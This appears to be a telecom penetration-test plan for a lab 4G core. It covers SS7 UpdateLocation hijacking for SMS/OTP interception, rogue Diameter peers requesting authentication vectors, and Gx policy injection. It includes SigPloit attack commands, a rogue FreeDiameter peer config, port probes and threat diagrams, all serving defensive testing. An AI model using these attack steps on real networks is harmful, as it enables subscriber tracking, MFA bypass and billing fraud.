TP-05_ss7_diameter

TP-05 — SS7 / Diameter Signaling Tests

Domain: Legacy Signaling Protocol Security
Standards: GSMA FS.11 (SS7) · 3GPP TS 33.210 (Diameter) · NIST SP 800-187 §4.4
Prerequisites: TP-00 complete; 4G EPC lab running; SigPloit and FreeDiameter installed

Legal Notice: All tests in this domain must be executed ONLY against the isolated lab environment. These techniques are illegal against live networks without explicit written authorization.


TC-SS7-01: SS7 Location Tracking via MAP UpdateLocation

Threat Model

sequenceDiagram
    participant ATK as Attacker\n(SS7 Access Broker)
    participant SS7GW as SS7 Network\n(SIGTRAN/M3UA)
    participant HLR as HLR/HSS
    participant MSC as Victim's Serving MSC
    participant VLRMSC as Attacker's Fake VLR

    Note over ATK,VLRMSC: THREAT VECTOR: SS7 MAP UpdateLocation\npoisoning HLR with rogue VLR

    Note over ATK: Attacker buys SS7 access\nfrom roaming broker (real-world: ~$500-2000/mo)

    ATK->>SS7GW: MAP UpdateLocation Request\n{IMSI: victim, newVLR: rogue_VLR_GT}
    SS7GW->>HLR: MAP UpdateLocation\n(no authentication — SS7 trust model)
    HLR->>HLR: Update subscriber location\nVLR address = rogue_VLR_GT
    HLR->>MSC: MAP CancelLocation\n(tell real MSC subscriber left)
    MSC->>MSC: Remove subscriber registration
    HLR-->>ATK: UpdateLocationAck

    Note over ATK: Now ALL calls/SMS to victim\nrouted through attacker's fake VLR

    ATK->>HLR: MAP SendRoutingInfo (MSISDN→victim)
    HLR-->>ATK: MSRN from rogue VLR
    Note over ATK: Attacker intercepts incoming SMS\n→ OTP theft for banking/MFA bypass

    Note over ATK,VLRMSC: ⚠️ REAL-WORLD: Used in 2017 German bank fraud\n(O2-Telefónica customers; direct fund theft)
    Note over SS7GW: MITIGATION: SS7 Firewall Category 3\nBlock UpdateLocation from non-home PLMNs

Objective

Simulate SS7 UpdateLocation attack in lab to validate whether HSS/HLR accepts unauthorized location updates; verify SS7 firewall mitigation.

Steps

# Prerequisites: SigPloit installed (Python 2.7 env)
# Note: Open5GS does not have native SS7; this test uses a standalone
# HLR/SS7 stack (OsmoHLR) or demonstrates the concept with SigPloit config

cd ~/open5gs-lab/tools/SigPloit
source ~/open5gs-lab/tools/sigploit-env/bin/activate

# 1. Configure SigPloit for lab SS7 parameters
cat > config/sigploit.cfg << 'EOF'
[SS7]
# Lab SS7 settings (OsmoHLR or lab MSC)
opc = 1-1-1
dpc = 1-1-2
local_ip = 127.0.0.1
local_port = 2905
remote_ip = 127.0.0.1
remote_port = 2906

[ATTACK]
imsi = 001010000000001
msisdn = 0000000001
rogue_vlr_gt = 49123456789  # attacker's fake VLR global title
EOF

# 2. View available SS7 attack modules
python sigploit.py --list

# 3. Execute UpdateLocation attack
python sigploit.py \
  --attack updateLocation \
  --imsi 001010000000001 \
  --newVLR 49123456789 \
  --verbose

# 4. Check HLR to see if location was updated
# (If using OsmoHLR)
osmo-hlr-vty -p 4258 <<< "show subscriber imsi 001010000000001"

# 5. Verify with pycrate (alternative — manual MAP message)
python3 << 'PYEOF'
from pycrate.mobile.NAS import *
# Conceptual: craft MAP UpdateLocation message
# Demonstrates the protocol trust model gap
print("MAP UpdateLocation uses no cryptographic authentication")
print("Any SS7 node can send this message to any HLR")
print("This is the fundamental SS7 trust model vulnerability")
print("Mitigated by: SS7 firewall, category 1-3 filtering per GSMA FS.11")
PYEOF

deactivate

Expected Results

Pass Criteria (hardened lab)

SS7 firewall (if deployed) blocks UpdateLocation from non-home-network Point Code.


TC-DIA-01: Diameter S6a — Unauthorized Authentication-Information-Request

Threat Model

sequenceDiagram
    participant ATK as Attacker\n(Rogue Diameter Peer)
    participant LEGIT as Legitimate MME
    participant HSS as HSS (Open5GS)

    Note over ATK,HSS: THREAT VECTOR: Rogue Diameter peer requests\nauthentication vectors for victim subscriber

    LEGIT->>HSS: Diameter AIR\n{Origin-Host: mme.lab.net,\n IMSI: 001010000000001}
    Note over HSS: Peer: mme.lab.net — whitelisted
    HSS-->>LEGIT: AIA\n{RAND, AUTN, KASME — 5x AVs}

    Note over ATK: Attacker connects as fake Diameter peer
    ATK->>HSS: SCTP Connect (port 3868)
    ATK->>HSS: Diameter CER\n{Origin-Host: attacker.evil.net\nOrigin-Realm: evil.net}

    HSS->>HSS: Check peer whitelist\nattacker.evil.net in config?

    alt No peer whitelisting (lab default)
        HSS-->>ATK: CEA (success — connection accepted)
        ATK->>HSS: Diameter AIR\n{Origin-Host: attacker.evil.net,\n IMSI: 001010000000001}
        HSS-->>ATK: AIA\n{RAND, AUTN, KASME}
        Note over ATK: ❌ CRITICAL: Attacker has auth vectors\nCan now MitM or pre-compute responses
    else Peer whitelisted (secure config)
        HSS-->>ATK: DPR (Disconnect-Peer-Request)\nor connection refused
        Note over ATK: ✅ BLOCKED\nUnauthorized peer rejected
    end

Objective

Verify HSS rejects Diameter AIR requests from unauthenticated or non-whitelisted Diameter peers.

Steps

# Method A: FreeDiameter as rogue client

# 1. Create rogue FreeDiameter client config
cat > /tmp/rogue-diameter.conf << 'EOF'
Identity = "attacker.evil.net";
Realm = "evil.net";
TLS_Cred = "/tmp/rogue-cert.pem", "/tmp/rogue-key.pem";
TLS_CA = "/tmp/rogue-ca.pem";

ConnectPeer = "hss.lab.net" { ConnectTo = "172.22.0.4"; Port = 3868; No_TLS; };
EOF

# 2. Generate self-signed rogue cert
openssl req -x509 -newkey rsa:2048 -keyout /tmp/rogue-key.pem \
  -out /tmp/rogue-cert.pem -days 1 -nodes \
  -subj "/CN=attacker.evil.net"
cp /tmp/rogue-cert.pem /tmp/rogue-ca.pem

# 3. Use pycrate to craft raw Diameter AIR
python3 << 'PYEOF'
import socket
import struct

HSS_IP = "172.22.0.4"
HSS_PORT = 3868

# Diameter CER (Capabilities-Exchange-Request) — minimal
# Header: Version=1, Length, Flags=0x80 (Request), Code=257 (CER)
# Hop-by-Hop-ID, End-to-End-ID
def build_diameter_cer():
    # AVPs: Origin-Host, Origin-Realm, Host-IP-Address, Vendor-Id, Product-Name
    origin_host = b"attacker.evil.net"
    realm = b"evil.net"

    def avp(code, value, flags=0x40):
        padded = value + b'\x00' * ((4 - len(value) % 4) % 4)
        length = 8 + len(value)
        return struct.pack("!IBI3s", code, flags, 0, length.to_bytes(3,'big')[0:3]) + padded

    # This is conceptual — demonstrates the attempt
    print("Attempting Diameter CER to HSS...")
    return b""

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(10)
    sock.connect((HSS_IP, HSS_PORT))
    print(f"TCP connection to HSS {HSS_IP}:{HSS_PORT} — ACCEPTED")
    print("HSS accepts TCP connections from rogue peer")
    print("Next: check if CER/CEA exchange succeeds without auth")
    sock.close()
except ConnectionRefusedError:
    print("✅ HSS port not accessible — good isolation")
except Exception as e:
    print(f"Connection result: {e}")
PYEOF

# 4. Check HSS Diameter peer whitelist configuration
docker exec open5gs-epc cat /etc/open5gs/freeDiameter/hss.conf 2>/dev/null | \
  grep -A5 "ConnectPeer\|AllowedPeer"

# 5. Check HSS logs for connection attempts
docker logs open5gs-epc 2>&1 | grep -i "diameter\|peer\|CEA\|CER" | tail -20

Expected Results (secure config)

Finding

If AIA returned to rogue peer: CRITICAL FINDING — AV leak enables AKA interception and MitM.

Pass Criteria

Rogue Diameter peer cannot retrieve any authentication vectors.


TC-DIA-02: Diameter Gx — Unauthorized Policy Rule Injection

Threat Model

sequenceDiagram
    participant ATK as Attacker\n(Rogue Gx Peer)
    participant PCRF as PCRF (Open5GS)
    participant SGW as SGW-C / MME
    participant UE as Subscriber UE

    Note over ATK,UE: THREAT VECTOR: Rogue Gx peer pushes fraudulent\nQoS rules to upgrade/degrade service

    Note over ATK: Normal Gx flow (reference)
    SGW->>PCRF: Diameter CCR (Credit-Control-Request)\n{IMSI, APN, current QoS}
    PCRF-->>SGW: Diameter CCA\n{PCC rules: 10Mbps DL, 5Mbps UL}

    Note over ATK: Attack: Rogue peer sends Re-Auth-Request
    ATK->>PCRF: Diameter RAR (Re-Auth-Request)\n{Origin-Host: attacker.evil.net,\n Session-Id: ,\n Charging-Rule: 1Gbps DL}

    PCRF->>PCRF: Validate peer identity\nAttacker in peer whitelist?

    alt No peer validation (vulnerable)
        PCRF-->>ATK: RAA (Re-Auth-Answer, Success)
        PCRF->>SGW: Diameter RAR\n{Apply 1Gbps rule for subscriber}
        SGW->>UE: Bearer Modification\n(bandwidth upgrade — fraud)
        Note over ATK: ❌ BILLING FRAUD\nAttacker granted unlimited bandwidth\nwithout paying
    else Peer validated (secure)
        PCRF-->>ATK: 3010 DIAMETER_UNKNOWN_PEER
        Note over ATK: ✅ BLOCKED\nPolicy unchanged
    end

Objective

Verify PCRF rejects unauthorized Diameter Gx Re-Auth-Request from rogue peers to prevent policy fraud.

Steps

# 1. Check PCRF Gx interface accessibility
python3 << 'PYEOF'
import socket

PCRF_IP = "172.22.0.4"
GX_PORT = 3868  # Standard Diameter port (Gx uses same port, different Application-ID)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    result = sock.connect_ex((PCRF_IP, GX_PORT))
    if result == 0:
        print(f"⚠️  PCRF Diameter port {GX_PORT} is ACCESSIBLE from test host")
        print("This means an attacker on the same network segment could attempt Gx peer connection")
    else:
        print(f"✅ PCRF Diameter port {GX_PORT} not accessible (errno={result})")
    sock.close()
except Exception as e:
    print(f"Test result: {e}")
PYEOF

# 2. Craft a minimal Diameter RAR (Re-Auth-Request) for Gx
python3 << 'PYEOF'
import socket, struct, uuid

PCRF_IP = "172.22.0.4"
DIAM_PORT = 3868

# Diameter header: Version=1, Flags=0xC0 (Request+Proxiable), Code=258 (RAR)
# Application-ID=16777238 (Gx = 3GPP-Gx)
hop_id = int(uuid.uuid4()) & 0xFFFFFFFF
end_id = int(uuid.uuid4()) & 0xFFFFFFFF

# RAR header
hdr = struct.pack("!BBHBBBBII",
    1,           # Version
    0, 20,       # Length (20 = header only, no AVPs for simplicity)
    0xC0,        # Flags: R+P
    0, 1, 2,     # Command Code = 258 (0x000102)
    16777238,    # App-ID: Gx
    hop_id,      # Hop-by-Hop
)

print("Rogue Gx RAR crafted (conceptual — full AVP construction requires pycrate)")
print("Key insight: Without peer whitelist, PCRF would process this from any peer")
print("Mitigation: Diameter peer whitelist in freeDiameter config + TLS")

# Check PCRF config for peer validation
import subprocess
result = subprocess.run(
    ["docker", "exec", "open5gs-epc", "cat", "/etc/open5gs/freeDiameter/pcrf.conf"],
    capture_output=True, text=True
)
if result.returncode == 0:
    config = result.stdout
    if "ConnectPeer" in config or "AllowedPeer" in config:
        print("✅ PCRF has peer configuration")
        print(config[:500])
    else:
        print("⚠️  No explicit peer restriction found in PCRF freeDiameter config")
PYEOF

# 3. Verify current Gx sessions
docker logs open5gs-epc 2>&1 | grep -i "gx\|pcrf\|CCR\|CCA" | tail -20

# 4. Check network isolation — can test host reach PCRF Gx port?
nmap -sT -p 3868 172.22.0.4 -oN /tmp/pcrf-portscan.txt
cat /tmp/pcrf-portscan.txt | grep "3868"

Expected Results

Finding

PCRF Diameter accessible from non-whitelisted peer: HIGH FINDING — policy fraud via unauthorized RAR.

Pass Criteria

PCRF rejects all Gx messages from non-whitelisted peers. Port not accessible from RAN or external segments.